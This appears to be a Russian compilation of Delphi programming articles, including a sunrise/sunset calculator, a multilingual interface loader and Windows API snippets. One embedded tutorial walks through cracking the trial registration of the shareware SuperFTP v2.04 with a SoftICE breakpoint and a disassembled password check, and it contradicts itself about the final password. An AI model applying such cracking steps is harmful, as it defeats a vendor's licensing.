Статьи по Delphi (017)…
Определение восхода и захода солнца и луны.
Автор: Александр Ермолаев.
sunproject.dpr
program sunproject;
uses
Forms,
main in 'main.pas' {Sun};
{$R *.RES}
begin
Application.Initialize;
Application.Title := 'Sun';
Application.CreateForm(TSun, Sun);
Application.Run;
end.
|
Main.dfm.
object Sun: TSun
Left = 210
Top = 106
BorderIcons = [biSystemMenu, biMinimize]
BorderStyle = bsSingle
Caption = 'Sun'
ClientHeight = 257
ClientWidth = 299
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
Position = poDesktopCenter
OnCreate = CreateForm
PixelsPerInch = 96
TextHeight = 13
object GroupBoxInput: TGroupBox
Left = 4
Top = 4
Width = 173
Height = 93
Caption = ' Ввод '
TabOrder = 0
object LabelLongitude: TLabel
Left = 35
Top = 44
Width = 78
Height = 13
Alignment = taRightJustify
Caption = 'Долгота (град):'
end
object LabelTimeZone: TLabel
Left = 13
Top = 68
Width = 100
Height = 13
Alignment = taRightJustify
Caption = 'Часовая зона (час):'
end
object LabelAtitude: TLabel
Left = 40
Top = 20
Width = 73
Height = 13
Alignment = taRightJustify
Caption = 'Широта (град):'
end
object EditB5: TEdit
Tag = 1
Left = 120
Top = 16
Width = 37
Height = 21
TabOrder = 0
Text = '0'
end
object EditL5: TEdit
Tag = 2
Left = 120
Top = 40
Width = 37
Height = 21
TabOrder = 1
Text = '0'
end
object EditH: TEdit
Tag = 3
Left = 120
Top = 64
Width = 37
Height = 21
TabOrder = 2
Text = '0'
end
end
object GroupBoxCalendar: TGroupBox
Left = 184
Top = 4
Width = 109
Height = 93
Caption = ' Календарь '
TabOrder = 1
object LabelD: TLabel
Left = 19
Top = 20
Width = 30
Height = 13
Alignment = taRightJustify
Caption = 'День:'
end
object LabelM: TLabel
Left = 13
Top = 44
Width = 36
Height = 13
Alignment = taRightJustify
Caption = 'Месяц:'
end
object LabelY: TLabel
Left = 28
Top = 68
Width = 21
Height = 13
Alignment = taRightJustify
Caption = 'Год:'
end
object EditD: TEdit
Tag = 1
Left = 56
Top = 16
Width = 37
Height = 21
TabOrder = 0
Text = '0'
end
object EditM: TEdit
Tag = 2
Left = 56
Top = 40
Width = 37
Height = 21
TabOrder = 1
Text = '0'
end
object EditY: TEdit
Tag = 3
Left = 56
Top = 64
Width = 37
Height = 21
TabOrder = 2
Text = '0'
end
end
object ButtonCalc: TButton
Left = 12
Top = 227
Width = 169
Height = 25
Caption = '&Вычислить'
TabOrder = 2
OnClick = ButtonCalcClick
end
object ListBox: TListBox
Left = 4
Top = 104
Width = 289
Height = 117
ItemHeight = 13
TabOrder = 3
end
object ButtonClear: TButton
Left = 192
Top = 227
Width = 91
Height = 25
Caption = '&Очистить'
TabOrder = 4
OnClick = ButtonClearClick
end
end
|
Main.pas.
{
Программа вычисляет время восхода и захода
солнца по дате (с точностью до минуты) в пределах
нескольких текущих столетий. Производит корректировку, если
географическая
точка находится в арктическом или антарктическом регионе, где заход
или восход солнца
на текущую дату может не состояться. Вводимые данные: положительная
северная широта и
отрицательная западная долгота. Часовой пояс указывается относительно
Гринвича
(например, 5 для EST и 4 для EDT). Алгоритм обсуждался в
"Sky & Telescope" за август 1994, страница 84.
}
unit main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs,
StdCtrls;
type
TSun = class(TForm)
GroupBoxInput: TGroupBox;
LabelLongitude: TLabel;
EditB5: TEdit;
EditL5: TEdit;
LabelTimeZone: TLabel;
EditH: TEdit;
GroupBoxCalendar: TGroupBox;
LabelD: TLabel;
LabelM: TLabel;
LabelY: TLabel;
EditD: TEdit;
EditM: TEdit;
EditY: TEdit;
ButtonCalc: TButton;
ListBox: TListBox;
ButtonClear: TButton;
LabelAtitude: TLabel;
procedure Calendar; // Календарь
procedure GetTimeZone; // Получение часового пояса
procedure PosOfSun; // Получаем положение солнца
procedure OutInform; // Процедура вывода информации
procedure PossibleEvents(Hour: integer); // Возможные события на
полученный час
procedure GetDate; //Получить значения даты
procedure GetInput; //Получить значения широты,...
procedure ButtonCalcClick(Sender: TObject);
procedure CreateForm(Sender: TObject);
procedure ButtonClearClick(Sender: TObject);
private
function Sgn(Value: Double): integer; // Сигнум
public
{ Public declarations }
end;
var
Sun: TSun;
st: string;
aA, aD: array[1..2] of double;
B5: integer;
L5: double;
H: integer;
Z, Z0, Z1: double;
D: double;
M, Y: integer;
A5, D5, R5: double;
J3: integer;
T, T0, TT, T3: double;
L0, L2: double;
H0, H1, H2, H7, N7, D7: double;
H3, M3: integer;
M8, W8: double;
A, B, A0, D0, A2, D1, D2, DA, DD: double;
E, F, J, S, C, P, L, G, V, U, W: double;
V0, V1, V2: double;
C0: integer;
AZ: double;
const
P2 = Pi * 2; // 2 * Pi
DR = Pi / 180; // Радиан на градус
K1 = 15 * DR * 1.0027379;
implementation
{$R *.DFM}
function TSun.Sgn(Value: Double): integer;
begin
{if Value = 0 then} Result := 0;
if Value > 0 then
Result := 1;
if Value < 0 then
Result := -1;
end;
procedure TSun.Calendar;
begin
G := 1;
if Y < 1583 then
G := 0;
D1 := Trunc(D);
F := D - D1 - 0.5;
J := -Trunc(7 * (Trunc((M + 9) / 12) + Y) / 4);
if G = 1 then
begin
S := Sgn(M - 9);
A := Abs(M - 9);
J3 := Trunc(Y + S * Trunc(A / 7));
J3 := -Trunc((Trunc(J3 / 100) + 1) * 3 / 4);
end;
J := J + Trunc(275 * M / 9) + D1 + G * J3;
J := J + 1721027 + 2 * G + 367 * Y;
if F >= 0 then
Exit;
F := F + 1;
J := J - 1;
end;
procedure TSun.GetTimeZone;
begin
T0 := T / 36525;
S := 24110.5 + 8640184.813 * T0;
S := S + 86636.6 * Z0 + 86400 * L5;
S := S / 86400;
S := S - Trunc(S);
T0 := S * 360 * DR;
end;
procedure TSun.PosOfSun;
begin
// Фундаментальные константы
// (Van Flandern & Pulkkinen, 1979)
L := 0.779072 + 0.00273790931 * T;
G := 0.993126 + 0.0027377785 * T;
L := L - Trunc(L);
G := G - Trunc(G);
L := L * P2;
G := G * P2;
V := 0.39785 * Sin(L);
V := V - 0.01000 * Sin(L - G);
V := V + 0.00333 * Sin(L + G);
V := V - 0.00021 * TT * Sin(L);
U := 1 - 0.03349 * Cos(G);
U := U - 0.00014 * Cos(2 * L);
U := U + 0.00008 * Cos(L);
W := -0.00010 - 0.04129 * Sin(2 * L);
W := W + 0.03211 * Sin(G);
W := W + 0.00104 * Sin(2 * L - G);
W := W - 0.00035 * Sin(2 * L + G);
W := W - 0.00008 * TT * Sin(G);
// Вычисление солнечных координат
S := W / Sqrt(U - V * V);
A5 := L + ArcTan(S / Sqrt(1 - S * S));
S := V / Sqrt(U);
D5 := ArcTan(S / Sqrt(1 - S * S));
R5 := 1.00021 * Sqrt(U);
end;
procedure TSun.PossibleEvents(Hour: integer);
var
num: string;
begin
st := '';
L0 := T0 + Hour * K1;
L2 := L0 + K1;
H0 := L0 - A0;
H2 := L2 - A2;
H1 := (H2 + H0) / 2; // Часовой угол,
D1 := (D2 + D0) / 2; // наклон в получасе
if Hour <= 0 then
V0 := S * Sin(D0) + C * Cos(D0) * Cos(H0) - Z;
V2 := S * Sin(D2) + C * Cos(D2) * Cos(H2) - Z;
if Sgn(V0) = Sgn(V2) then
Exit;
V1 := S * Sin(D1) + C * Cos(D1) * Cos(H1) - Z;
A := 2 * V2 - 4 * V1 + 2 * V0;
B := 4 * V1 - 3 * V0 - V2;
D := B * B - 4 * A * V0;
if D < 0 then
Exit;
D := Sqrt(D);
if (V0 < 0) and (V2 > 0) then
st := st + 'Восход солнца в ';
if (V0 < 0) and (V2 > 0) then
M8 := 1;
if (V0 > 0) and (V2 < 0) then
st := st + 'Заход солнца в ';
if (V0 > 0) and (V2 < 0) then
W8 := 1;
E := (-B + D) / (2 * A);
if (E > 1) or (E < 0) then
E := (-B - D) / (2 * A);
T3 := Hour + E + 1 / 120; // Округление
H3 := Trunc(T3);
M3 := Trunc((T3 - H3) * 60);
Str(H3: 2, num);
st := st + num + ':';
Str(M3: 2, num);
st := st + num;
H7 := H0 + E * (H2 - H0);
N7 := -Cos(D1) * Sin(H7);
D7 := C * Sin(D1) - S * Cos(D1) * COS(H7);
AZ := ArcTan(N7 / D7) / DR;
if (D7 < 0) then
AZ := AZ + 180;
if (AZ < 0) then
AZ := AZ + 360;
if (AZ > 360) then
AZ := AZ - 360;
Str(AZ: 4: 1, num);
st := st + ', азимут ' + num;
end;
procedure TSun.OutInform;
begin
if (M8 = 0) and (W8 = 0) then
begin
if V2 < 0 then
ListBox.Items.Add('Солнце заходит весь день ');
if V2 > 0 then
ListBox.Items.Add('Солнце восходит весь день ');
end
else
begin
if M8 = 0 then
ListBox.Items.Add('В этот день солнце не восходит ');
if W8 = 0 then
ListBox.Items.Add('В этот день солнце не заходит ');
end;
end;
procedure TSun.GetDate;
begin
D := StrToInt(EditD.text);
M := StrToInt(EditM.text);
Y := StrToInt(EditY.text);
end;
procedure TSun.GetInput;
begin
B5 := StrToInt(EditB5.Text);
L5 := StrToInt(EditL5.Text);
H := StrToInt(EditH.Text);
end;
procedure TSun.ButtonCalcClick(Sender: TObject);
var
C0: integer;
begin
GetDate;
GetInput;
ListBox.Items.Add('Широта: ' + EditB5.Text +
' Долгота: ' + EditL5.Text +
' Зона: ' + EditH.Text +
' Дата: ' + EditD.Text +
'/' + EditM.Text +
'/' + EditY.Text);
L5 := L5 / 360;
Z0 := H / 24;
Calendar;
T := (J - 2451545) + F;
TT := T / 36525 + 1; // TT - столетия, начиная с 1900.0
GetTimeZone; // Получение часового пояса
T := T + Z0;
PosOfSun; // Получаем положение солнца
aA[1] := A5;
aD[1] := D5;
T := T + 1;
PosOfSun;
aA[2] := A5;
aD[2] := D5;
if aA[2] < aA[1] then
aA[2] := aA[2] + P2;
Z1 := DR * 90.833; // Вычисление зенита
S := Sin(B5 * DR);
C := Cos(B5 * DR);
Z := Cos(Z1);
M8 := 0;
W8 := 0;
A0 := aA[1];
D0 := aD[1];
DA := aA[2] - aA[1];
DD := aD[2] - aD[1];
for C0 := 0 to 23 do
begin
P := (C0 + 1) / 24;
A2 := aA[1] + P * DA;
D2 := aD[1] + P * DD;
PossibleEvents(C0);
if st <> '' then
ListBox.Items.Add(st);
A0 := A2;
D0 := D2;
V0 := V2;
end;
OutInform;
ListBox.Items.Add(''); // Разделяем данные
end;
procedure TSun.CreateForm(Sender: TObject);
begin
EditD.Text := FormatDateTime('d', Date);
EditM.Text := FormatDateTime('m', Date);
EditY.Text := FormatDateTime('yyyy', Date);
end;
procedure TSun.ButtonClearClick(Sender: TObject);
begin
ListBox.Clear;
end;
end.
|
Взлом за 1.5 минуты - SuperFTP v2.04 for Win.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Объект: Super FTP v2.04 for Windows95/98/NT4.0 Адрес: http://www.sppd.co.jp/sugama/english/ Вступление: Я продолжал искать самый рульный ФТП клиент и наткнулся на это "чудо", в полном смысле этого слова :) Обзор: Я запустил прогу и вижу MessageBox "Trial ... 14 days" Плохо, потому как с виду весч неплохая, по крайней мере красивая :) Стоит ли она $ 4.0 ? Ну да ладно. Захожу в меню Help->Registration и вижу, что надо ввести какой-то пароль. Ну думаю, совсем чудесно. Ctrl-D и Ставлю бряк:bpx GetDlgItemTextAСнова Ctrl-D и ввожу вместо пароля "123321". Жму кнопочку и вываливаюсь в Soft-Ice здесь:
015F:00415A5A 6800020000 PUSH 00000200 015F:00415A5F 6860594200 PUSH 00425960 <--Куда считывать введенный пароль 015F:00415A64 6825040000 PUSH 00000425 015F:00415A69 8B4508 MOV EAX,[EBP+08] 015F:00415A6C 50 PUSH EAX 015F:00415A6D FF1538265900 CALL [USER32!GetDlgItemTextA] <--считали ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; по адресу [00423EC0] лежит строка: "KFOGMTPXRLM" ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 015F:00415A73 0FBE05C03E4200 MOVSX EAX,BYTE PTR [00423EC0] <--Взяли первый символ строки "KFOGMTPXRLM", т.е. "K" 015F:00415A7A 48 DEC EAX <--Отняли 1, т.е. получили "J" 015F:00415A7B 0FBE0D60594200 MOVSX ECX,BYTE PTR [00425960] <--и сравниваем с первым символом введённого пароля 015F:00415A82 3BC1 CMP EAX,ECX <--то же самое со 2-ми символами 015F:00415A84 0F8545010000 JNZ 00415BCF <--И так 11 раз... 015F:00415A8A 0FBE05C13E4200 MOVSX EAX,BYTE PTR [00423EC1] 015F:00415A91 48 DEC EAX 015F:00415A92 0FBE0D61594200 MOVSX ECX,BYTE PTR [00425961] 015F:00415A99 3BC1 CMP EAX,ECX 015F:00415A9B 0F852E010000 JNZ 00415BCF 015F:00415AA1 0FBE05C23E4200 MOVSX EAX,BYTE PTR [00423EC2] 015F:00415AA8 48 DEC EAX 015F:00415AA9 0FBE0D62594200 MOVSX ECX,BYTE PTR [00425962] 015F:00415AB0 3BC1 CMP EAX,ECX 015F:00415AB2 0F8517010000 JNZ 00415BCFТ.е. достаточно отнять от каждого символа строки "KFOGMTPXRLM" единицу и мы получим строку: "JENFLSOWQKL", которая и будет правильным паролем. Вводим "KFOGMTPXRLM" и убеждаемся, что японские программисты - самые рульные на свете :) Так держать пацаны! P.S. Простенько и со вкусом. Исследовал и наваял туториал: vallkor //PTDS e-mail: vallkor@chat.ru (vallkor@etel.dn.ua) Page : http://vallkor.chat.ru
Поддержка многоязычного интерфейса.
| Программирование на С++ у госслужащих - как секс у подростков: - все об этом думают; - все об этом говорят; - все думают, что их ближний это делает; - почти никто этого не делает; - тот, кто это делает, делает это плохо; - все думают, что в следующий раз лучше получится; - никто не принимает мер безопасности; - любому стыдно признаться в том, что он чего-то не знает; - если у кого-то что-то получается, от этого всегда много шума. |
Подчас бывает актуально встроить в разрабатываемую программу поддержку нескольких языков. Существует множество средств и компонентов для осуществления подобных задач. У всех этих средств один недостаток - они слишком сложны и тяжеловесны. Предлагаем рассмотреть, как можно обеспечить поддержку многоязычности используя более простой и прозрачный метод.
Первое, что нужно выяснить - это язык, на котором разрабатывать интерфейс первоначально. Есть веские причины за то, чтобы использовать для этого именно тот язык, на котором написана эта статья. Дело в том, что русский язык менее лаконичен других европейских языков. При переводе на английский или немецкий 90% фраз будет компактнее и интерфейс вашей программы искажен не будет.
Для поддержки нескольких языков предлагается следующий простой подход. Интерфейс оформляется на родном языке - русском. Для всех остальных языков составляется словарь в виде:
Строка на языке 1=Строка на языке 2 Строка на языке 1=Строка на языке 2 |
Например:
Файл=File Выход=Exit Отмена=Cancel |
И так для всех ресурсов приложения. Словарь поместим в отдельный текстовый файл.
Далее, нам необходимо для каждого текстового свойства любого компонента приложения поискать перевод в нашем словаре. Здесь не обойтись без Delphi RTTI. Через Component.ClassInfo получим ссылку на информацию типа, а затем GetTypeData(TypeInf) даст нам указатель на структуру с его описанием.
TypeInf := Component.ClassInfo; AName := TypeInf^.name; TypeData := GetTypeData(TypeInf); NumProps := TypeData^.PropCount; |
Далее проходимся по всем свойствам данного (классового) типа:
GetMem(PropList, NumProps * sizeof(pointer));
try
GetPropInfos(TypeInf, PropList);
for i := 0 to NumProps-1 do
begin
PropName := PropList^[i]^.name;
PropTypeInf := PropList^[i]^.PropType^;
PropInfo := PropList^[i];
case PropTypeInf^.Kind of
tkString, tkLString: //... это то, что нам нужно
if PropName <> 'Name' then { Переводить свойство Name не следует }
begin
{ Получение значения свойства и поиск перевода в словаре }
StringPropValue := GetStrProp(Component, PropInfo);
SetStrProp(Component, PropInfo, TranslateString(StringPropValue));
end;
...
...
|
Отдельный случай - списки TStrings и коллекции типа TTReeNodes и TListItems. Их придется обработать персонально.
tkClass:
begin
PropObject := GetObjectProp(Component, PropInfo{, TPersistent});
if Assigned(PropObject)then
begin
{ Для дочерних свойств-классов вызов просмотра свойств }
if (PropObject is TPersistent) then
UpdateComponent(PropObject as TPersistent);
{ Индивидуальный подход к некоторым классам }
if (PropObject is TStrings) then
begin
for j := 0 to (PropObject as TStrings).Count-1 do
TStrings(PropObject)[j] := TranslateString(TStrings(PropObject)[j]);
end;
if (PropObject is TTreeNodes) then
begin
for j := 0 to (PropObject as TTreeNodes).Count-1 do
TTreeNodes(PropObject).Item[j].Text :=
TranslateString(TTreeNodes(PropObject).Item[j].Text);
end;
if (PropObject is TListItems) then
begin
for j := 0 to (PropObject as TListItems).Count-1 do
TListItems(PropObject).Item[j].Caption
:= TranslateString(TListItems(PropObject).Item[j].Caption);
end;
{ Здесь можно добавить обработку остальных классов }
end;
end;
|
Объединяя все написанное, получим компонент для перевода строковых ресурсов.
unit glLanguageLoader;
interface
{$I glDEF.INC}
uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls, Forms, Dialogs, comctrls, grids;
type
TLanguageLoaderOptions = set of (lofTrimSpaces);
{опция удаления начальных и завершающих пробелов}
TglLanguageLoader = class(TComponent)
private
sl: TStringList;
FOptions: TLanguageLoaderOptions;
function TranslateString(sString: string): string;
protected
procedure UpdateComponent(Component: TPersistent); virtual;
public
{main function}
procedure LoadLanguage(Component: TComponent; FileName: string);
published
property Options: TLanguageLoaderOptions read FOptions write FOptions;
end;
procedure LoadLanguage(Component: TComponent; FileName: string;
Options: TLanguageLoaderOptions);
procedure register;
implementation
uses
TypInfo, dsgnintf;
procedure register;
begin
RegisterComponents('Gl Components', [TglLanguageLoader]);
end;
{Ф-ия для загрузки словаря без предварительного создания компонента}
procedure LoadLanguage(Component: TComponent; FileName: string;
Options: TLanguageLoaderOptions);
var
LanguageLoader: TglLanguageLoader;
begin
LanguageLoader := TglLanguageLoader.Create(nil);
try
LanguageLoader.LoadLanguage(Component, FileName);
finally
LanguageLoader.Free;
end;
end;
{ TglLanguageLoader }
{ Загрузка словаря, обход указанного компонента и }
{ всех его дочерних компонентов }
procedure TglLanguageLoader.LoadLanguage(Component: TComponent; FileName: string);
procedure UpdateAllComponents(Component: TComponent);
var
i: integer;
begin
{ обработка своцств компонента }
UpdateComponent(Component);
for i := 0 to Component.ComponentCount-1 do
UpdateAllComponents(Component.Components[i]);
end;
begin
sl := TStringList.Create;
try
{ Загрузка словаря из заданного файла }
sl.LoadFromFile(FileName);
sl.Sorted := true;
UpdateAllComponents(Component);
finally
sl.Free;
end;
end;
{ Проход по всем свойствам компонента }
{ Для всех строковых свойств - загрузка перевода из сооваря }
procedure TglLanguageLoader.UpdateComponent(Component: TPersistent);
var
PropInfo: PPropInfo;
TypeInf, PropTypeInf: PTypeInfo;
TypeData: PTypeData;
i, j: integer;
AName, PropName, StringPropValue: string;
PropList: PPropList;
NumProps: word;
PropObject: TObject;
begin
{ Playing with RTTI }
TypeInf := Component.ClassInfo;
AName := TypeInf^.name;
TypeData := GetTypeData(TypeInf);
NumProps := TypeData^.PropCount;
GetMem(PropList, NumProps*sizeof(pointer));
try
GetPropInfos(TypeInf, PropList);
for i := 0 to NumProps-1 do
begin
PropName := PropList^[i]^.name;
PropTypeInf := PropList^[i]^.PropType^;
PropInfo := PropList^[i];
case PropTypeInf^.Kind of
tkString, tkLString:
if PropName <> 'Name' then { Переводить свойство Name не следует }
begin
{ Получение значения свойства и поиск перевода в словаре }
StringPropValue := GetStrProp( Component, PropInfo );
SetStrProp( Component, PropInfo, TranslateString(StringPropValue) );
end;
tkClass:
begin
PropObject := GetObjectProp(Component, PropInfo{, TPersistent});
if Assigned(PropObject)then
begin
{ Для дочерних свойств-классов вызов просмотра свойств }
if (PropObject is TPersistent) then
UpdateComponent(PropObject as TPersistent);
{ Индивидуальный подход к некоторым классам }
if (PropObject is TStrings) then
begin
for j := 0 to (PropObject as TStrings).Count-1 do
TStrings(PropObject)[j] := TranslateString(TStrings(PropObject)[j]);
end;
if (PropObject is TTreeNodes) then
begin
for j := 0 to (PropObject as TTreeNodes).Count-1 do
TTreeNodes(PropObject).Item[j].Text :=
TranslateString(TTreeNodes(PropObject).Item[j].Text);
end;
if (PropObject is TListItems) then
begin
for j := 0 to (PropObject as TListItems).Count-1 do
TListItems(PropObject).Item[j].Caption :=
TranslateString(TListItems(PropObject).Item[j].Caption);
end;
{ Здесь можно добавить обработку остальных классов }
end;
end;
end;
end;
finally
FreeMem(PropList, NumProps*sizeof(pointer));
end;
end;
{ Поиск перевода для заданной строки в словаре }
function TglLanguageLoader.TranslateString(sString: string): string;
begin
if lofTrimSpaces in Options then
sString := trim(sString);
if sString = '' then
begin
Result := '';
exit;
end;
if sl.IndexOfName(sString) <> -1 then
Result := sl.Values[sString]
else
Result := sString;
end;
end.
|
Как узнать все форматы бумаги, поддерживаемые принтером по умолчанию.
Ниже представлена процедура, которая имеет в качестве параметра любой объект StringList - Строки для Memo, Пункты Combo и т.д.
procedure GetPaperFormats(aSL: TStringList);
type
TPaperName = array[0..63] of Char;
TPaperNameArray = array[1..High(Cardinal) div
Sizeof(TPaperName)] of
TPaperName;
PPapernameArray = ^TPaperNameArray;
var
Device, Driver, Port: array[0..255] of Char;
hDevMode: THandle;
i, numPaperformats: Integer;
pPaperFormats: PPapernameArray;
begin
Printer.PrinterIndex := -1;
Printer.GetPrinter(Device, Driver, Port, hDevmode);
numPaperformats :=
WinSpool.DeviceCapabilities(
Device, Port, DC_PAPERNAMES, nil, nil);
if numPaperformats > 0 then
begin
GetMem(pPaperformats,
numPaperformats *
Sizeof(TPapername));
try
WinSpool.DeviceCapabilities
(Device, Port, DC_PAPERNAMES,
Pchar(pPaperFormats), nil);
aSL.clear;
for i := 1 to numPaperformats do
aSL.lines.add(pPaperformats^[i]);
finally
FreeMem(pPaperformats);
end;
end;
end;
|
Использование:
GetPaperFormats(Memo1.Lines); |
Приостановить ПК.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
SetSystemPowerState(False, True); //Forces the system down SetSystemPowerState(True, False); //Makes a "soft" off
Как поменять функции кнопок мышки.
| Хакер читает внуку сказку: - ... стал он кликать золотую рыбку. - А почему рыбку? - А потому, дружок, что мышек, тогда еще не было. |
begin SwapMouseButton(true); // Поменять SwapMouseButton(false); // Поменять обратно end; |
Преобразовать файл Flash SWF в EXE.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function Swf2Exe(S, D, F: string): string;
//S = Source file (swf)
//D = Destionation file (exe)
//F = Flash Player
var
SourceStream, DestinyStream, LinkStream: TFileStream;
flag: Cardinal;
SwfFileSize: Integer;
begin
Result := 'something error';
DestinyStream := TFileStream.Create(D, fmCreate);
try
LinkStream := TFileStream.Create(F, fmOpenRead or fmShareExclusive);
try
DestinyStream.CopyFrom(LinkStream, 0);
finally
LinkStream.Free;
end;
SourceStream := TFileStream.Create(S, fmOpenRead or fmShareExclusive);
try
DestinyStream.CopyFrom(SourceStream, 0);
flag := $FA123456;
DestinyStream.WriteBuffer(flag, SizeOf(Integer));
SwfFileSize := SourceStream.Size;
DestinyStream.WriteBuffer(SwfFileSize, SizeOf(Integer));
Result := '';
finally
SourceStream.Free;
end;
finally
DestinyStream.Free;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Swf2Exe('c:\somefile.swf', 'c:\somefile.exe',
'c:\Program Files\Macromedia\Flash MX\Players\SAFlashPlayer.exe');
end;
Как программно переключить раскладку клавиатуры.
| Microsoft выпустила новую клавиатуру с дополнительной педалью, которая нажимает сразу три клавиши, и новый корпус, у которого по кнопке Reset можно бить кулаком. |
//На русский procedure TForm1.Button1Click(Sender: TObject); var Layout: array[0.. KL_NAMELENGTH] of char; begin LoadKeyboardLayout( StrCopy(Layout,'00000419'),KLF_ACTIVATE); end; //На английский procedure TForm1.Button2Click(Sender: TObject); var Layout: array[0.. KL_NAMELENGTH] of char; begin LoadKeyboardLayout(StrCopy(Layout,'00000409'),KLF_ACTIVATE); end; |
Переключиться в режим StandBy.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject); begin SendMessage(Handle, WM_SYSCOMMAND, SC_SCREENSAVE, 1); end;
32-битное соединение с сервером Sybase.
| Если Админ в 09:00 на рабочем месте - значит, сервер не работает. |
Libblk.dll Libcomn.dll Libcs.dll Libct.dll Libintl.dll Libsrv.dll Libsybdb.dll Libtcl.dll Mscvrt10.dll Nldecnet.dll Nlmsnmp.dll Nlnwadvt.exe Nlnwlink.dll Nlwnsck.dll
Предостережение: Данный документ не гарантирует установление соединения с сервером, он демонстрирует самый лучший и быстрый способ сделать это.
Получить количество вхождений символа в строку.
| Автор: ___Nikolay WEB-сайт: http://delphiworld.narod.ru |
// Кол-во вхождений символа в строку
function SymbolEntersCount(s: string; ch: char): integer;
var
i: integer;
begin
Result := 0;
if Trim(s) <> '' then
for i := 1 to Length(s) do
if s[i] = ch then
inc(Result);
end;
Преобразовать код символа в скан-код клавиши.
Автор: SniknikДля буквы 'Ф' его и не будет, 0 невозможно преобразовать. посмотри ее значение (Ord) чему равно? а клавиш всего 101шт. (но не все так просто, 101 это наоборот скэн коды надо считать) в твоем случае букву 'Ф' надо переводить в анг. вариант 'A' и тогда MapVirtualKey(Key,0) дает скэн код. короче не работает с MapVirtualKey с локализованными раскладками а AnsiMapVirtualKey пока нет.
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
var st: string;
begin
if WinKey < Key then begin
WinKey:= Key;
Edit1.Text:= 'Key : '+IntToStr(Key)+' Char : '+Chr(Key);
end;
// MapVirtualKey
Memo1.Lines.Add('Key : '+IntToStr(Key)+' Char : '+Chr(Key)+' MVK : '+
IntToStr(MapVirtualKey(Key,0)));
if ssShift in Shift then st:= '1'
else st:= '0';
if ssAlt in Shift then st:= st + '1'
else st:= st+'0';
if ssCtrl in Shift then st:= st + '1'
else st:= st+'0';
if ssLeft in Shift then st:= st + '1'
else st:= st+'0';
if ssRight in Shift then st:= st + '1'
else st:= st+'0';
if ssMiddle in Shift then st:= st + '1'
else st:= st+'0';
if ssDouble in Shift then st:= st + '1'
else st:= st+'0';
Memo1.Lines.Add('State Shift/Alt/Ctrl/Left/Right/Middle/Double : '+st);
{
GetNumberofConsoleInputEvents
if Key = VK_F1 then Form1.Caption := 'F1';
WM_KEYDOWN
MapVirtualKeyEx, OemKeyScan, VkKeyScanEx
}
end;
|
Симфония на клавиатуре.
| -Рабинович, а вы выписали на следующий год какие-нибудь газеты? -Нет,зачем,если есть Internet. - А в туалет с клавиатурой ходить будете? |
Начиная с самого рассвета компьютерной промышленности, клавиатура была первичным устройством ввода информации, и вероятнее всего сохранит свою позицию ещё долгое время.
События клавиатуры, наряду с событиями мыши, являются основными элементами взаимодействия пользователя с программой. В данной статье пойдёт речь о трёх событиях, которые позволяют отлавливать нажатия клавиш в приложении Delphi: OnKeyDown, OnKeyUp и OnKeyPress.
Для получения ввода с клавиатуры, приложения Delphi могут использовать два метода. Самый простой способ, это воспользоваться одним из компонентов, автоматически реагирущем на нажатия клавиш, таким как Edit. Второй способ заключается в создании процедур в форме, которые будут обрабатывать нажатия и отпускания клавиш. Эти обработчики могут обрабатывать как нажатия одиночных клавиш, так и комбинаций. Итак, вот эти события:
OnKeyDown - вызывается, когда на клавиатуре нажимается любая клавиша. OnKeyUp - вызывается, когда любая клавиша на клавиатуре отпускается. OnKeyPress - вызывается, когда нажимается клавиша, отвечающая за определённый ASCII символ.
Теперь самое время посмотреть, как выглядят в программе заголовки обработчиков:
procedure TForm1.FormKeyDown (Sender: TObject; var Key: Word; Shift: TShiftState); ... procedure TForm1.FormKeyUp (Sender: TObject; var Key: Word; Shift: TShiftState); ... procedure TForm1.FormKeyPress (Sender: TObject; var Key: Char); |
Все события имеют один общий параметр, обычно называемый Key. Этот параметр используется для передачи кода нажатой клавиши. Параметр Shift (в процедурах OnKeyDown и OnKeyUp), указывает на то, была ли нажата клавиша в сочетании с Shift, Alt, и Ctrl.
Фокус
Фокус, это способность получать пользовательский ввод через мышь или клавиатуру. Получать события от клавиатуры могут только те объекты, которые имеют фокус. На форме активного приложения в один момент времени может быть активным (иметь фокус) только один компонент.
Некоторые компоненты, такие как TImage, TPaintBox, TPanel и TLabel не могут получать фокус, другими словами, это компоненты, наследованные от TGraphicControl. Так же не могут получать фокус невидимые компоненты, такие как TTimer.
OnKeyDown, OnKeyUp
События OnKeyDown и OnKeyUp обеспечивают самый низкий уровень ответа клавиатуры. Обработчики OnKeyDown и OnKeyUp могут реагировать на все клавиши клавиатуры, включая функциональные и комбинации с клавишами Shift, Alt, и Ctrl.
События клавиатуры - не взаимоисключающие. Когда пользователь нажимает клавишу, то генерируются два события OnKeyDown и OnKeyPress, а когда отпускает, то только одно: OnKeyUp. Если пользователь нажмёт одну из клавиш, которую OnKeyPress не сможет определить, то будет сгенерировано только одно событие OnKeyDown, а при отпускании OnKeyUp.
OnKeyPress
OnKeyPress возвращает различные значения ASCII для 'g' и 'G,'. Однако, OnKeyDown и OnKeyUp не делают различия между верхним и нижним регистром.
Параметры Key и Shift
Параметр Key можно изменять, чтобы приложение получило другой код нажатой клавиши. Таким образом можно ограничивать набор различных символов, которые пользователь может ввести с клавиатуры. Например разрешить вводить только цифры. Для этого добавьте в обработчик события OnKeyPress следующий код и установите KeyPreview в True (см. ниже).
if Key in ['a'..'z'] + ['A'..'Z'] then Key := #0; |
Это выражение проверяет, содержит ли параметр Key символы нижнего регистра ('a'..'z') и символы верхнего регистра ('A'..'Z'). Если так, то в параметр заносится значение нуля, чтобы предотвратить ввод в компонент Edit (например).
В Windows определены специальные константы для каждой клавиши. Например, VK_RIGHT соответствует коду клавиши для правой стрелки.
